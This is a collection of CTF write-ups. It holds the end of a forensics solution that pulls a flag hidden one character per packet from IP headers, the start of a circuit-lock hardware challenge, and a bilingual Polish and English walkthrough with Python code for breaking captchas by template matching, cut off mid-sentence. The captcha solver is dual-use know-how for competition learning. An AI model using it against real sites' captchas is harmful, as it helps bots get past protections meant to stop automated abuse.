54 c3 21 00 00 80 01 b7 4a 08 08 08 08 c0 a8 ef 84 E..T.!.....J........ 00002120: 45 00 00 54 5b 49 40 00 40 01 1f 23 c0 a8 ef 84 08 08 08 08 E..T[I@.@..#........ 00002134: 45 00 00 54 c3 22 00 00 80 01 b7 49 08 08 08 08 c0 a8 ef 84 E..T.".....I........ 00002148: 45 00 00 54 5b 98 40 00 40 01 1e d4 c0 a8 ef 84 08 08 08 08 E..T[.@.@........... 0000215c: 45 00 00 54 c3 25 00 00 80 01 b7 46 08 08 08 08 c0 a8 ef 84 E..T.%.....F........ 00002170: 45 00 00 54 5c 75 40 00 40 01 1d f7 c0 a8 ef 84 08 08 08 08 E..T\u@.@........... 00002184: 45 00 00 54 c3 2c 00 00 80 01 b7 3f 08 08 08 08 c0 a8 ef 84 E..T.,.....?........ 00002198: 45 00 00 54 5c 9a 40 00 40 01 1d d2 c0 a8 ef 84 08 08 08 08 E..T\.@.@........... 000021ac: 45 00 00 54 c3 2d 00 00 80 01 b7 3e 08 08 08 08 c0 a8 ef 84 E..T.-.....>........ 000021c0: 45 00 00 1c 00 01 00 00 33 11 36 a0 1b 04 14 12 0e 07 14 14 E.......3.6......... 000021d4: 45 00 00 4f 2c 54 40 00 40 06 9c 44 c0 a8 ef 84 ac d9 15 0a E..O,T@.@..D........ 000021e8: 45 00 00 4f 32 39 40 00 40 06 ac 3d c0 a8 ef 84 d8 3a d3 ca E..O29@.@..=.....:.. 000021fc: 45 00 00 28 c3 31 00 00 80 06 05 8e ac d9 15 0a c0 a8 ef 84 E..(.1.............. 00002210: 45 00 00 28 c3 32 00 00 80 06 1b 6b d8 3a d3 ca c0 a8 ef 84 E..(.2.....k.:...... 00002224: 45 00 00 4f c3 33 00 00 80 06 05 65 ac d9 15 0a c0 a8 ef 84 E..O.3.....e........ 00002238: 45 00 00 28 2c 55 40 00 40 06 9c 6a c0 a8 ef 84 ac d9 15 0a E..(,U@.@..j........ 0000224c: 45 00 00 4f c3 34 00 00 80 06 1b 42 d8 3a d3 ca c0 a8 ef 84 E..O.4.....B.:...... 00002260: 45 00 00 28 32 3a 40 00 40 06 ac 63 c0 a8 ef 84 d8 3a d3 ca E..(2:@.@..c.....:.. 00002274: 45 00 00 54 5c eb 40 00 40 01 1d 81 c0 a8 ef 84 08 08 08 08 E..T\.@.@........... 00002288: 45 00 00 54 c3 35 00 00 80 01 b7 36 08 08 08 08 c0 a8 ef 84 E..T.5.....6........ 0000229c: 45 00 00 1c 00 01 00 00 5f 11 0a a0 1b 04 14 12 0e 07 14 14 E......._........... 000022b0: 45 00 00 28 e2 a7 40 00 40 06 17 7c c0 a8 ef 84 2d 37 63 48 E..(..@.@..|....-7cH 000022c4: 45 00 00 28 c3 36 00 00 80 06 36 ed 2d 37 63 48 c0 a8 ef 84 E..(.6....6.-7cH.... 000022d8: 45 00 00 28 ac 8e 40 00 40 06 4d 95 c0 a8 ef 84 2d 37 63 48 E..(..@.@.M.....-7cH 000022ec: 45 00 00 28 c3 39 00 00 80 06 36 ea 2d 37 63 48 c0 a8 ef 84 E..(.9....6.-7cH.... 00002300: 45 00 00 1c 00 01 00 00 62 11 07 a0 1b 04 14 12 0e 07 14 14 E.......b........... 00002314: 45 00 00 28 e2 a8 40 00 40 06 17 7b c0 a8 ef 84 2d 37 63 48 E..(..@.@..{....-7cH 00002328: 45 00 00 28 c3 3c 00 00 80 06 36 e7 2d 37 63 48 c0 a8 ef 84 E..(.<....6.-7cH.... 0000233c: 45 00 00 1c 00 01 00 00 65 11 04 a0 1b 04 14 12 0e 07 14 14 E.......e........... 00002350: 45 00 00 28 ac 8f 40 00 40 06 4d 94 c0 a8 ef 84 2d 37 63 48 E..(..@.@.M.....-7cH 00002364: 45 00 00 28 c3 3e 00 00 80 06 36 e5 2d 37 63 48 c0 a8 ef 84 E..(.>....6.-7cH.... 00002378: 45 00 00 1c 00 01 00 00 35 11 34 a0 1b 04 14 12 0e 07 14 14 E.......5.4......... 0000238c: 45 00 00 56 91 e2 40 00 40 06 df e7 c0 a8 ef 84 97 65 81 45 E..V..@.@........e.E 000023a0: 45 00 00 28 c3 3f 00 00 80 06 ae b8 97 65 81 45 c0 a8 ef 84 E..(.?.......e.E.... 000023b4: 45 00 00 47 91 e3 40 00 40 06 df f5 c0 a8 ef 84 97 65 81 45 E..G..@.@........e.E 000023c8: 45 00 00 28 91 e4 40 00 40 06 e0 13 c0 a8 ef 84 97 65 81 45 E..(..@.@........e.E 000023dc: 45 00 00 28 c3 40 00 00 80 06 ae b7 97 65 81 45 c0 a8 ef 84 E..(.@.......e.E.... 000023f0: 45 00 00 28 c3 41 00 00 80 06 ae b6 97 65 81 45 c0 a8 ef 84 E..(.A.......e.E.... 00002404: 45 00 00 47 c3 42 00 00 80 06 ae 96 97 65 81 45 c0 a8 ef 84 E..G.B.......e.E.... 00002418: 45 00 00 28 00 00 40 00 40 06 71 f8 c0 a8 ef 84 97 65 81 45 E..(..@.@.q......e.E 0000242c: 45 00 00 28 e2 a9 40 00 40 06 17 7a c0 a8 ef 84 2d 37 63 48 E..(..@.@..z....-7cH 00002440: 45 00 00 28 c3 44 00 00 80 06 36 df 2d 37 63 48 c0 a8 ef 84 E..(.D....6.-7cH.... 00002454: 45 00 00 1c 00 01 00 00 74 11 f5 9f 1b 04 14 12 0e 07 14 14 E.......t........... 00002468: 45 00 00 4f c0 e5 40 00 40 06 71 51 c0 a8 ef 84 97 65 c0 df E..O..@.@.qQ.....e.. 0000247c: 45 00 00 28 c3 49 00 00 80 06 6f 14 97 65 c0 df c0 a8 ef 84 E..(.I....o..e...... 00002490: 45 00 00 4f c3 4b 00 00 80 06 6e eb 97 65 c0 df c0 a8 ef 84 E..O.K....n..e...... 000024a4: 45 00 00 28 c0 e6 40 00 40 06 71 77 c0 a8 ef 84 97 65 c0 df E..(..@.@.qw.....e.. 000024b8: 45 00 00 28 ac 90 40 00 40 06 4d 93 c0 a8 ef 84 2d 37 63 48 E..(..@.@.M.....-7cH 000024cc: 45 00 00 28 c3 4c 00 00 80 06 36 d7 2d 37 63 48 c0 a8 ef 84 E..(.L....6.-7cH.... 000024e0: 45 00 00 1c 00 01 00 00 5f 11 0a a0 1b 04 14 12 0e 07 14 14 E......._........... 000024f4: 45 00 00 1c 00 01 00 00 30 11 39 a0 1b 04 14 12 0e 07 14 14 E.......0.9......... 00002508: 45 00 00 1c 00 01 00 00 66 11 03 a0 1b 04 14 12 0e 07 14 14 E.......f........... 0000251c: 45 00 00 40 c3 4d 00 00 80 06 36 be 2d 37 63 48 c0 a8 ef 84 E..@.M....6.-7cH.... 00002530: 45 00 00 40 e2 aa 40 00 40 06 17 61 c0 a8 ef 84 2d 37 63 48 E..@..@.@..a....-7cH 00002544: 45 00 00 28 e2 ab 40 00 40 06 17 78 c0 a8 ef 84 2d 37 63 48 E..(..@.@..x....-7cH 00002558: 45 00 00 28 c3 4e 00 00 80 06 36 d5 2d 37 63 48 c0 a8 ef 84 E..(.N....6.-7cH.... 0000256c: 45 00 00 28 c3 4f 00 00 80 06 36 d4 2d 37 63 48 c0 a8 ef 84 E..(.O....6.-7cH.... 00002580: 45 00 00 40 c3 51 00 00 80 06 36 ba 2d 37 63 48 c0 a8 ef 84 E..@.Q....6.-7cH.... 00002594: 45 00 00 40 ac 91 40 00 40 06 4d 7a c0 a8 ef 84 2d 37 63 48 E..@..@.@.Mz....-7cH 000025a8: 45 00 00 28 c3 52 00 00 80 06 36 d1 2d 37 63 48 c0 a8 ef 84 E..(.R....6.-7cH.... 000025bc: 45 00 00 28 ac 92 40 00 40 06 4d 91 c0 a8 ef 84 2d 37 63 48 E..(..@.@.M.....-7cH 000025d0: 45 00 00 28 c3 53 00 00 80 06 36 d0 2d 37 63 48 c0 a8 ef 84 E..(.S....6.-7cH.... 000025e4: 45 00 00 47 c3 55 00 00 80 06 b6 ae 34 23 dc 5c c0 a8 ef 84 E..G.U......4#.\.... 000025f8: 45 00 00 4b aa 33 40 00 40 06 cf cc c0 a8 ef 84 34 23 dc 5c E..K.3@.@.......4#.\ 0000260c: 45 00 00 28 c3 56 00 00 80 06 b6 cc 34 23 dc 5c c0 a8 ef 84 E..(.V......4#.\.... 00002620: 45 00 00 4f 98 2c 40 00 40 06 fc f3 c0 a8 ef 84 34 d7 c0 84 E..O.,@.@.......4... 00002634: 45 00 00 28 c3 75 00 00 80 06 d1 d1 34 d7 c0 84 c0 a8 ef 84 E..(.u......4....... 00002648: 45 00 00 4f c3 79 00 00 80 06 d1 a6 34 d7 c0 84 c0 a8 ef 84 E..O.y......4....... 0000265c: 45 00 00 28 98 2d 40 00 40 06 fd 19 c0 a8 ef 84 34 d7 c0 84 E..(.-@.@.......4... 00002670: 45 00 00 1c 00 01 00 00 5f 11 0a a0 1b 04 14 12 0e 07 14 14 E......._........... 00002684: 45 00 00 48 96 a3 40 00 40 11 44 29 c0 a8 ef 84 c0 a8 ef 02 E..H..@.@.D)........ 00002698: 45 00 00 58 c3 ce 00 00 80 11 16 ee c0 a8 ef 02 c0 a8 ef 84 E..X................ 000026ac: 45 00 00 1c 00 01 00 00 54 11 15 a0 1b 04 14 12 0e 07 14 14 E.......T........... 000026c0: 45 00 00 1c 00 01 00 00 31 11 38 a0 1b 04 14 12 0e 07 14 14 E.......1.8......... 000026d4: 45 00 00 4f 2c 56 40 00 40 06 9c 42 c0 a8 ef 84 ac d9 15 0a E..O,V@.@..B........ 000026e8: 45 00 00 4f 32 3b 40 00 40 06 ac 3b c0 a8 ef 84 d8 3a d3 ca E..O2;@.@..;.....:.. 000026fc: 45 00 00 28 c4 b4 00 00 80 06 04 0b ac d9 15 0a c0 a8 ef 84 E..(................ 00002710: 45 00 00 28 c4 b5 00 00 80 06 19 e8 d8 3a d3 ca c0 a8 ef 84 E..(.........:...... 00002724: 45 00 00 40 2c 57 40 00 40 06 9c 50 c0 a8 ef 84 ac d9 15 0a E..@,W@.@..P........ 00002738: 45 00 00 28 2c 58 40 00 40 06 9c 67 c0 a8 ef 84 ac d9 15 0a E..(,X@.@..g........ 0000274c: 45 00 00 28 c4 b6 00 00 80 06 04 09 ac d9 15 0a c0 a8 ef 84 E..(................ 00002760: 45 00 00 28 c4 b7 00 00 80 06 04 08 ac d9 15 0a c0 a8 ef 84 E..(................ 00002774: 45 00 00 40 32 3c 40 00 40 06 ac 49 c0 a8 ef 84 d8 3a d3 ca E..@2<@.@..I.....:.. 00002788: 45 00 00 28 32 3d 40 00 40 06 ac 60 c0 a8 ef 84 d8 3a d3 ca E..(2=@.@..`.....:.. 0000279c: 45 00 00 28 c4 b8 00 00 80 06 19 e5 d8 3a d3 ca c0 a8 ef 84 E..(.........:...... 000027b0: 45 00 00 28 c4 b9 00 00 80 06 19 e4 d8 3a d3 ca c0 a8 ef 84 E..(.........:...... 000027c4: 45 00 00 28 c4 bb 00 00 80 06 04 04 ac d9 15 0a c0 a8 ef 84 E..(................ 000027d8: 45 00 00 28 00 00 40 00 40 06 c8 bf c0 a8 ef 84 ac d9 15 0a E..(..@.@........... 000027ec: 45 00 00 28 c4 bc 00 00 80 06 19 e1 d8 3a d3 ca c0 a8 ef 84 E..(.........:...... 00002800: 45 00 00 28 00 00 40 00 40 06 de 9d c0 a8 ef 84 d8 3a d3 ca E..(..@.@........:.. 00002814: 45 00 00 1c 00 01 00 00 6d 11 fc 9f 1b 04 14 12 0e 07 14 14 E.......m........... 00002828: 45 00 00 1c 00 01 00 00 33 11 36 a0 1b 04 14 12 0e 07 14 14 E.......3.6......... 0000283c: 45 00 00 1c 00 01 00 00 53 11 16 a0 1b 04 14 12 0e 07 14 14 E.......S........... 00002850: 45 00 00 54 a6 c7 40 00 40 11 33 f9 c0 a8 ef 84 c0 a8 ef 02 E..T..@.@.3......... 00002864: 45 00 00 64 c5 f4 00 00 80 11 14 bc c0 a8 ef 02 c0 a8 ef 84 E..d................ 00002878: 45 00 00 1c 00 01 00 00 5f 11 0a a0 1b 04 14 12 0e 07 14 14 E......._........... 0000288c: 45 00 00 4f c0 e7 40 00 40 06 71 4f c0 a8 ef 84 97 65 c0 df E..O..@.@.qO.....e.. 000028a0: 45 00 00 28 c6 30 00 00 80 06 6c 2d 97 65 c0 df c0 a8 ef 84 E..(.0....l-.e...... 000028b4: 45 00 00 4f c6 32 00 00 80 06 6c 04 97 65 c0 df c0 a8 ef 84 E..O.2....l..e...... 000028c8: 45 00 00 28 c0 e8 40 00 40 06 71 75 c0 a8 ef 84 97 65 c0 df E..(..@.@.qu.....e.. 000028dc: 45 00 00 1c 00 01 00 00 3c 11 2d a0 1b 04 14 12 0e 07 14 14 E.......<.-......... 000028f0: 45 00 00 1c 00 01 00 00 2f 11 3a a0 1b 04 14 12 0e 07 14 14 E......./.:......... 00002904: 45 00 00 1c 00 01 00 00 33 11 36 a0 1b 04 14 12 0e 07 14 14 E.......3.6......... 00002918: 45 00 00 4f 98 2e 40 00 40 06 fc f1 c0 a8 ef 84 34 d7 c0 84 E..O..@.@.......4... 0000292c: 45 00 00 28 c6 73 00 00 80 06 ce d3 34 d7 c0 84 c0 a8 ef 84 E..(.s......4....... 00002940: 45 00 00 4f c6 77 00 00 80 06 ce a8 34 d7 c0 84 c0 a8 ef 84 E..O.w......4....... 00002954: 45 00 00 28 98 2f 40 00 40 06 fd 17 c0 a8 ef 84 34 d7 c0 84 E..(./@.@.......4... 00002968: 45 00 00 1c 00 01 00 00 7d 11 ec 9f 1b 04 14 12 0e 07 14 14 E.......}........... ``` Now without understanding too much of this format, if we just scan the records with out bare eyes, we can see a kind of change of pattern right over here: ``` 00000154: 45 00 00 28 61 64 40 00 40 06 69 77 c0 a8 ef 84 ac d9 12 ee E..(ad@.@.iw........ 00000168: 45 00 00 56 91 cd 40 00 40 06 df fc c0 a8 ef 84 97 65 81 45 E..V..@.@........e.E 0000017c: 45 00 00 28 b0 b0 00 00 80 06 c1 47 97 65 81 45 c0 a8 ef 84 E..(.......G.e.E.... 00000190: 45 00 00 56 b0 b1 00 00 80 06 c1 18 97 65 81 45 c0 a8 ef 84 E..V.........e.E.... 000001a4: 45 00 00 28 91 ce 40 00 40 06 e0 29 c0 a8 ef 84 97 65 81 45 E..(..@.@..).....e.E 000001b8: 45 00 00 1c 00 01 00 00 4d 11 1c a0 1b 04 14 12 0e 07 14 14 E.......M........... 000001cc: 45 00 00 1c 00 01 00 00 43 11 26 a0 1b 04 14 12 0e 07 14 14 E.......C.&......... 000001e0: 45 00 00 71 91 cf 40 00 40 06 df df c0 a8 ef 84 97 65 81 45 E..q..@.@........e.E 000001f4: 45 00 00 28 b1 98 00 00 80 06 c0 5f 97 65 81 45 c0 a8 ef 84 E..(......._.e.E.... 00000208: 45 00 00 e9 b1 99 00 00 80 06 bf 9d 97 65 81 45 c0 a8 ef 84 E............e.E.... 0000021c: 45 00 00 28 91 d0 40 00 40 06 e0 27 c0 a8 ef 84 97 65 81 45 E..(..@.@..'.....e.E 00000230: 45 00 05 f0 b1 9a 00 00 80 06 ba 95 97 65 81 45 c0 a8 ef 84 E............e.E.... 00000244: 45 00 00 28 91 d1 40 00 40 06 e0 26 c0 a8 ef 84 97 65 81 45 E..(..@.@..&.....e.E ``` Specifically, we're talking about these two lines: ``` 000001b8: 45 00 00 1c 00 01 00 00 4d 11 1c a0 1b 04 14 12 0e 07 14 14 E.......M........... 000001cc: 45 00 00 1c 00 01 00 00 43 11 26 a0 1b 04 14 12 0e 07 14 14 E.......C.&......... ``` They don't seem to have the same amount of "noise" that the surrounding records have. And not just that - they have the two first letters of the flag format (`MCL`) nicely aligned. If we continue scanning, we can see this some records below: ``` 000003fc: 45 00 00 28 91 dc 40 00 40 06 e0 1b c0 a8 ef 84 97 65 81 45 E..(..@.@........e.E 00000410: 45 00 03 16 b1 ae 00 00 80 06 bd 5b 97 65 81 45 c0 a8 ef 84 E..........[.e.E.... 00000424: 45 00 00 28 91 dd 40 00 40 06 e0 1a c0 a8 ef 84 97 65 81 45 E..(..@.@........e.E 00000438: 45 00 00 1c 00 01 00 00 4c 11 1d a0 1b 04 14 12 0e 07 14 14 E.......L........... 0000044c: 45 00 00 4f 61 65 40 00 40 06 69 4f c0 a8 ef 84 ac d9 12 ee E..Oae@.@.iO........ 00000460: 45 00 00 28 b1 c6 00 00 80 06 19 15 ac d9 12 ee c0 a8 ef 84 E..(................ 00000474: 45 00 00 40 61 66 40 00 40 06 69 5d c0 a8 ef 84 ac d9 12 ee E..@af@.@.i]........ 00000488: 45 ``` There's an `L` standing out: ``` 00000438: 45 00 00 1c 00 01 00 00 4c 11 1d a0 1b 04 14 12 0e 07 14 14 E.......L........... ``` Let's place the three lines we found together and inspect them: ``` 000001b8: 45 00 00 1c 00 01 00 00 4d 11 1c a0 1b 04 14 12 0e 07 14 14 E.......M........... 000001cc: 45 00 00 1c 00 01 00 00 43 11 26 a0 1b 04 14 12 0e 07 14 14 E.......C.&......... 00000438: 45 00 00 1c 00 01 00 00 4c 11 1d a0 1b 04 14 12 0e 07 14 14 E.......L........... ``` They look almost identical. Are there any other lines that look similar? ```console root@kali:/media/sf_CTFs/matrix/The_Best_of_Times# xxd -g 1 -c 20 hexdump.bin | grep "45 00 00 1c 00 01 00 00" 000001b8: 45 00 00 1c 00 01 00 00 4d 11 1c a0 1b 04 14 12 0e 07 14 14 E.......M........... 000001cc: 45 00 00 1c 00 01 00 00 43 11 26 a0 1b 04 14 12 0e 07 14 14 E.......C.&......... 00000438: 45 00 00 1c 00 01 00 00 4c 11 1d a0 1b 04 14 12 0e 07 14 14 E.......L........... 00000514: 45 00 00 1c 00 01 00 00 7b 11 ee 9f 1b 04 14 12 0e 07 14 14 E.......{........... 000005a0: 45 00 00 1c 00 01 00 00 53 11 16 a0 1b 04 14 12 0e 07 14 14 E.......S........... 0000116c: 45 00 00 1c 00 01 00 00 34 11 35 a0 1b 04 14 12 0e 07 14 14 E.......4.5......... 00001180: 45 00 00 1c 00 01 00 00 64 11 05 a0 1b 04 14 12 0e 07 14 14 E.......d........... 00001194: 45 00 00 1c 00 01 00 00 31 11 38 a0 1b 04 14 12 0e 07 14 14 E.......1.8......... 000011f8: 45 00 00 1c 00 01 00 00 65 11 04 a0 1b 04 14 12 0e 07 14 14 E.......e........... 0000120c: 45 00 00 1c 00 01 00 00 5f 11 0a a0 1b 04 14 12 0e 07 14 14 E......._........... 000012c0: 45 00 00 1c 00 01 00 00 77 11 f2 9f 1b 04 14 12 0e 07 14 14 E.......w........... 00001374: 45 00 00 1c 00 01 00 00 34 11 35 a0 1b 04 14 12 0e 07 14 14 E.......4.5......... 00001428: 45 00 00 1c 00 01 00 00 35 11 34 a0 1b 04 14 12 0e 07 14 14 E.......5.4......... 0000143c: 45 00 00 1c 00 01 00 00 5f 11 0a a0 1b 04 14 12 0e 07 14 14 E......._........... 00001c70: 45 00 00 1c 00 01 00 00 37 11 32 a0 1b 04 14 12 0e 07 14 14 E.......7.2......... 0000206c: 45 00 00 1c 00 01 00 00 68 11 01 a0 1b 04 14 12 0e 07 14 14 E.......h........... 000021c0: 45 00 00 1c 00 01 00 00 33 11 36 a0 1b 04 14 12 0e 07 14 14 E.......3.6......... 0000229c: 45 00 00 1c 00 01 00 00 5f 11 0a a0 1b 04 14 12 0e 07 14 14 E......._........... 00002300: 45 00 00 1c 00 01 00 00 62 11 07 a0 1b 04 14 12 0e 07 14 14 E.......b........... 0000233c: 45 00 00 1c 00 01 00 00 65 11 04 a0 1b 04 14 12 0e 07 14 14 E.......e........... 00002378: 45 00 00 1c 00 01 00 00 35 11 34 a0 1b 04 14 12 0e 07 14 14 E.......5.4......... 00002454: 45 00 00 1c 00 01 00 00 74 11 f5 9f 1b 04 14 12 0e 07 14 14 E.......t........... 000024e0: 45 00 00 1c 00 01 00 00 5f 11 0a a0 1b 04 14 12 0e 07 14 14 E......._........... 000024f4: 45 00 00 1c 00 01 00 00 30 11 39 a0 1b 04 14 12 0e 07 14 14 E.......0.9......... 00002508: 45 00 00 1c 00 01 00 00 66 11 03 a0 1b 04 14 12 0e 07 14 14 E.......f........... 00002670: 45 00 00 1c 00 01 00 00 5f 11 0a a0 1b 04 14 12 0e 07 14 14 E......._........... 000026ac: 45 00 00 1c 00 01 00 00 54 11 15 a0 1b 04 14 12 0e 07 14 14 E.......T........... 000026c0: 45 00 00 1c 00 01 00 00 31 11 38 a0 1b 04 14 12 0e 07 14 14 E.......1.8......... 00002814: 45 00 00 1c 00 01 00 00 6d 11 fc 9f 1b 04 14 12 0e 07 14 14 E.......m........... 00002828: 45 00 00 1c 00 01 00 00 33 11 36 a0 1b 04 14 12 0e 07 14 14 E.......3.6......... 0000283c: 45 00 00 1c 00 01 00 00 53 11 16 a0 1b 04 14 12 0e 07 14 14 E.......S........... 00002878: 45 00 00 1c 00 01 00 00 5f 11 0a a0 1b 04 14 12 0e 07 14 14 E......._........... 000028dc: 45 00 00 1c 00 01 00 00 3c 11 2d a0 1b 04 14 12 0e 07 14 14 E.......<.-......... 000028f0: 45 00 00 1c 00 01 00 00 2f 11 3a a0 1b 04 14 12 0e 07 14 14 E......./.:......... 00002904: 45 00 00 1c 00 01 00 00 33 11 36 a0 1b 04 14 12 0e 07 14 14 E.......3.6......... 00002968: 45 00 00 1c 00 01 00 00 7d 11 ec 9f 1b 04 14 12 0e 07 14 14 E.......}........... ``` Well, that looks like the flag! We just need to tidy it up a bit: ```console root@kali:/media/sf_CTFs/matrix/The_Best_of_Times# xxd -g 1 -c 20 hexdump.bin | grep "45 00 00 1c 00 01 00 00" | awk '{ printf "%s\n", $22 }' | awk '{ print substr($0,9,1) }' | tr -d '\n' MCL{S4d1e_w45_7h3_be5t_0f_T1m3S_</3} ```
sec-knowleage
# Crazy Circuit Conundrum, re, 161p > We are trying to break into their safe storage. We have exposed the panel of the lock mechanism and revealed a circuit. Go to the organizers table and see if you can unlock the entry to the storage. Organizers supplied us with a circuit board. It had 16 DIP switches, some discrete logic chips, and a few LEDs. Apparently after finding right combination, the light would switch on. We took a photo of both sides of the board, aligned them in GIMP, then manually traced and named each signal. ![](IMG_20180616_155539.jpg) ![](IMG_20180616_155556.jpg) ![](circuit.jpg)
sec-knowleage
## Can you read Pacifico? (misc/ppc, 400+1p) ### PL Version [ENG](#eng-version) Zadanie polegało na napisaniu łamacza captchy. Captche miały następujący format: ![](./captcha.png) Należało rozwiązać 1337 kodów pod rząd bezbłędnie w celu uzyskania flagi. Jak nie trudno zauważyć konieczne będzie przetworzenie obrazu do wersji bardziej przystępnej do automatycznej analizy. Stosujemy algorytm, który przetworzy podany obraz do postaci czarnego tekstu na białym tle. Wykonujemy to za pomocą zestawu 2 funkcji: def fix_colors(im): colors_distribution = im.getcolors(1000) ordered = sorted(colors_distribution, key=lambda x: x[0], reverse=True) best_colors = [color[1] for color in ordered] if (255, 255, 255) in best_colors: best_colors.remove((255, 255, 255)) if (0, 0, 0) in best_colors: best_colors.remove((0, 0, 0)) best_colors = best_colors[:2] pixels = im.load() for i in range(im.size[0]): for j in range(im.size[1]): color = pixels[i, j] if color not in best_colors: pixels[i, j] = best_colors[0] return best_colors[0] def black_and_white(im, filling): black = (0, 0, 0) white = (255, 255, 255) pixels = im.load() for i in range(im.size[0]): for j in range(im.size[1]): color = pixels[i, j] if color == filling: pixels[i, j] = white else: pixels[i, j] = black Pierwsza służy do usunięciu z obrazu wszystkich oprócz 2 dominujacych kolorów (którymi jest wypełnienie i tekst), przy czym szukajac dominujących kolorów nie bierzemy pod uwagę białego i czarnego, aby nie wybrać któregoś z nich jako koloru wypełnienia. Druga funkcja zamienia kolor tekstu na czarny a kolor wypełnienia na biały. W efekcie uzyskujemy: ![](./captcha_color.png) A następnie: ![](./captcha_bw.png) Niestety jak nie trudno zauważyć nasze captche są bardzo bardzo małe. Za małe żeby OCR był w stanie poprawnie i bezbłędnie je odczytać. Stosujemy więc inną metodę. Jeden z naszych kolegów poświecił się i zmapował stosowaną czcionkę tworząc pliki z każdym potrzebnym symbolem: ![](./alphabet.png) Algorytm dekodowania captcha wyglądał następujaco: 1. Pobieramy captche 2. Poprawiamy kolory i zamieniamy na czarno-białe 3. Pobieramy prostokąt obejmujacy captchę 4. Dla każdego symbolu z alfabetu znajdujemy najlepsze dopasowanie go do captchy (takie gdzie najbardziej się z nią pokrywa), zapamiętujemy też pozycje tego dopasowania 5. Wybieramy najlepiej dopasowany symbol 6. Usuwamy z captchy dopasowany symbol poprzez zamalowanie go na biało 7. Kroki 4-6 powtarzamy 6 razy, bo szukamy 6 symboli. 8. Sortujemy uzyskane symbole względem pozycji dopasowania w kolejnosci rosnacej aby odtworzyć poprawną kolejność symboli Dla prezentowanej wyżej captchy sesja dekodowania wygląda tak (najlepiej dopasowany symbol oraz obraz po jego usunięciu): `('H', 155)` ![](./h.png) `('G', 122)` ![](./g.png) `('U', 103)` ![](./u.png) `('E', 99)` ![](./e.png) `('Z', 86)` ![](./z.png) `('9', 46)` ![](./9.png) W wyniku czego uzyskujemy kod: `EUZGH9` Dwie funkcje, o których warto wspomnieć to funkcja licząca jak dobre dopasowanie znaleźliśmy oraz funkcja usuwająca symbole z obrazu. def test_configuration(im_pixels, start_x, start_y, symbol_len, symbol_h, symbol_pixels, symbol_x_min, symbol_y_min): counter = 0 black = (0, 0, 0) for i in range(symbol_len): for j in range(symbol_h): if im_pixels[start_x + i, start_y + j] == black: if im_pixels[start_x + i, start_y + j] == symbol_pixels[symbol_x_min + i, symbol_y_min + j]: counter += 1 else: counter -= 1 elif symbol_pixels[symbol_x_min + i, symbol_y_min + j] == black: counter -= 1 return counter Dla zadanego offsetu (w poziomie - start_x oraz w pionie - start_y) na obrazie z captchą iterujemy po pikselach i porównujemy je z pikselami testowanego symbolu. Jeśli trafimy na czarne piksele na obrazie to sprawdzamy czy występują także w symbolu i dodajemy lub odejmujemy 1 od licznika pasujących pikseli. Jeśli na obrazie mamy kolor biały a symbol ma czarne piksele to odejmujemy 1 od licznika. Ta druga część jest dość istotna, ponieważ w innym wypadku litery "całkowicie obejmujące inne" mogłyby być wskazane jako poprawne dopasowanie. def is_to_remove(symbol_pixels, x, y): black = (0, 0, 0) result = False for i in range(-1, 1): for j in range(-1, 1): result = result or symbol_pixels[x + i, y + j] == black return result def remove_used(picture_pixels, symbol, offset_x, offset_y, symbol_len, symbol_h): white = (255, 255, 255) symbol_x_min, _, symbol_y_min, _ = get_coords(symbol) symbol_pixels = symbol.load() for i in range(offset_x, offset_x + symbol_len + 1): for j in range(offset_y, offset_y + symbol_h + 1): if is_to_remove(symbol_pixels, symbol_x_min + i - offset_x, symbol_y_min + j - offset_y): picture_pixels[i, j] = white Usuwając symbol z obrazu iterujemy po obrazie zgodnie ze znalezionym offsetem i kolorujemy na biało te piksele, które są czarne także w symbolu. Nie kolorujemy całego boxa na biało! Jest to dość istotne, bo captche czasem były takie: ![](./captcha4.png) Jak widać symbol `5` znajduje sie wewnątrz boxa obejmującego literę `T` i zamalowanie całego boxa na biało "zniszczy" symbol `5`. Kod całego solvera dostępny jest [tutaj](./captcha.py). Tak przygotowany solver + pypy i szybki internet pozwolił po pewnym czasie uzyskać flagę: `DCTF{6b91e112ee0332616a5fe6cc321e48f1}` ### ENG Version The task was to create a captcha breaker. The captcha codes looked like this: ![](./captcha.png) We had to solve 1337 examples in a row without any mistakes to get the flag. As can be noticed we had to process the image to make it more useful for automatic analysis. We used an algorithm to get a black & white clean version of the text. We used 2 functions for this: def fix_colors(im): colors_distribution = im.getcolors(1000) ordered = sorted(colors_distribution, key=lambda x: x[0], reverse=True) best_colors = [color[1] for color in ordered] if (255, 255, 255) in best_colors: best_colors.remove((255, 255, 255)) if (0, 0, 0) in best_colors: best_colors.remove((0, 0, 0)) best_colors = best_colors[:2] pixels = im.load() for i in range(im.size[0]): for j in range(im.size[1]): color = pixels[i, j] if color not in best_colors: pixels[i, j] = best_colors[0] return best_colors[0] def black_and_white(im, filling): black = (0, 0, 0) white = (255, 255, 255) pixels = im.load() for i in range(im.size[0]): for j in range(im.size[1]): color = pixels[i, j] if color == filling: pixels[i, j] = white else: pixels[i, j] = black First one removed all colors except for 2 dominant ones (filling and text), however we skip black and white when looking for dominants, so we don't pick one as filling. Second function changes the text color to black and filling color to white. This was we get: ![](./captcha_color.png) And then: ![](./captcha_bw.png) Unfortunately, as you can notice the captchas are really small. Too small for OCR to give good results. Therefore, we proceed with a different method. One of our teammates mapped the whole alphabet of necessary symbols: ![](./alphabet.png) Captcha-solving algorithm: 1. Download captcha 2. Fix colors and make black & white 3. Calculate a box with captcha letters 4. For every alphabet character we calculate the best positioning on the captcha (where it overlaps the most), we save also the offset of this positioning 5. We pick the character with highest score 6. We remove the character from captcha by painting it white. 7. We perform steps 4-6 six times, because we are looking for 6 characters. 8. We sort the characters by the x_offset of the positioning of the character, to reconstruct the inital order of characters For the captcha presented above the decoding session looks like this (the best matched character and picture after removal): `('H', 155)` ![](./h.png) `('G', 122)` ![](./g.png) `('U', 103)` ![](./u.png) `('E', 99)` ![](./e.png) `('Z', 86)` ![](./z.png) `('9', 46)` ![](./9.png) As a result we get the code: `EUZGH9` Two functions that are worth mentioning are the function to calculate matching score and function for removing the characters from picture. def test_configuration(im_pixels, start_x, start_y, symbol_len, symbol_h, symbol_pixels, symbol_x_min, symbol_y_min): counter = 0 black = (0, 0, 0) for i in range(symbol_len): for j in range(symbol_h): if im_pixels[start_x + i, start_y + j] == black: if im_pixels[start_x + i, start_y + j] == symbol_pixels[symbol_x_min + i, symbol_y_min + j]: counter += 1 else: counter -= 1 elif symbol_pixels[symbol_x_min + i, symbol_y_min + j] == black: counter -= 1 return counter For given offset (horizontal - start_x and vertical - start_y) on the captcha picture we iterate over pixels and compare with symbol pixels. If we have black pixels on the picture we check if they 